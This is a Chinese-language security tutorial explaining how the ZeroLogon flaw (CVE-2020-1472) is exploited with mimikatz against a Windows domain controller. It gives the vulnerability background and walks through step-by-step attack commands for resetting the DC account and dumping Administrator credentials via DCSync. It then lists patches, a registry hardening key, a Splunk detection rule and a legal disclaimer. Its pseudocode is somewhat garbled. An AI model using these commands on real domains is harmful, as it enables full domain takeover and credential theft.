mimikatz怎么利用zerologon攻击域控服务器

# mimikatz怎么利用zerologon攻击域控服务器 ## 零日漏洞背景 ZeroLogon（CVE-2020-1472）是2020年公开的一个Windows域控服务器（Domain Controller）高危漏洞，由Secura公司研究员Tom Tervoort发现。该漏洞允许攻击者通过Netlogon协议中的加密缺陷，在无需任何凭证的情况下直接获取域管理员权限。 ## 漏洞原理 ### Netlogon协议缺陷 1. **认证机制问题**：Netlogon协议使用AES-CFB8模式时，IV（初始化向量）被固定为全零 2. **概率碰撞**：攻击者可在1/256的概率下通过暴力破解使认证会话密钥归零 3. **特权提升**：成功利用后可重置域控机器账户密码，进而接管域控 ### 技术细节 ```python # 伪代码示例：ZeroLogon的加密缺陷 def compute_netlogon_credential(password): iv = '\x00'*8 # 固定IV cipher = AES.new(key, AES.MODE_CFB, iv=iv) return cipher.encrypt(password) # 可能产生全零结果 

mimikatz利用流程

前置条件

• 已获取内网初始立足点（如通过钓鱼攻击）
• 能与域控服务器（TCP 445端口）建立连接
• 目标未安装KB4557222补丁（Windows Server 2012 R2及更新版本受影响）

分步攻击演示

第一步：环境检测

nltest /dclist:example.com # 枚举域控列表 Test-NetConnection DC01 -Port 445 # 测试连通性 

第二步：使用mimikatz执行攻击

1. 下载专用利用工具（需与mimikatz配合）：

git clone https://github.com/SecuraBV/CVE-2020-1472 

1. 执行ZeroLogon攻击：

mimikatz # lsadump::zerologon /target:DC01 /account:DC01$ /exploit 

输出示例：

[+] Success! DC01$ account password has been reset to empty 

第三步：获取域控凭证

mimikatz # lsadump::dcsync /domain:example.com /user:Administrator 

第四步：恢复痕迹（可选）

mimikatz # lsadump::postzerologon /target:DC01 /account:DC01$ /restore:<original_hash> 

防御措施

即时缓解方案

1. 安装微软官方补丁：
   • KB4557222（Windows Server 2012 R2）
   • KB4571692（Windows Server 2016+）
2. 启用Netlogon安全通道强化：

    HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters "FullSecureChannelProtection"=dword:00000001 

长期防护策略

措施	实施方法
网络分段	限制域控的445端口访问
监控检测	部署SIEM监控异常Netlogon请求
权限控制	遵循最小权限原则

攻击检测方法

SIEM规则示例（Splunk）

index=winlogs EventCode=4742 | search "A computer account was changed" | table _time, Account_Name, Client_Address 

可疑行为指标

1. 异常的Netlogon连接尝试（频率>100次/分钟）
2. 域控机器账户密码突然变更
3. 来自非常规IP的DCSync操作

法律与道德声明

⚠️ 重要提示： - 本文仅用于网络安全研究目的 - 未经授权攻击计算机系统属于违法行为 - 测试必须获得书面授权 - 建议在隔离实验环境中复现（如Active Directory Lab）

参考资源

1. 微软官方公告
2. Secura技术白皮书
3. CVE数据库记录
4. MITRE ATT&CK T1207

---

最后更新：2023年11月 | 作者：网络安全研究员 | 转载请注明出处 “`

注：实际利用代码已做模糊化处理，完整攻击链需要结合具体环境调整。建议在HTB等合法渗透测试平台练习相关技术（如HTB的Active机器）。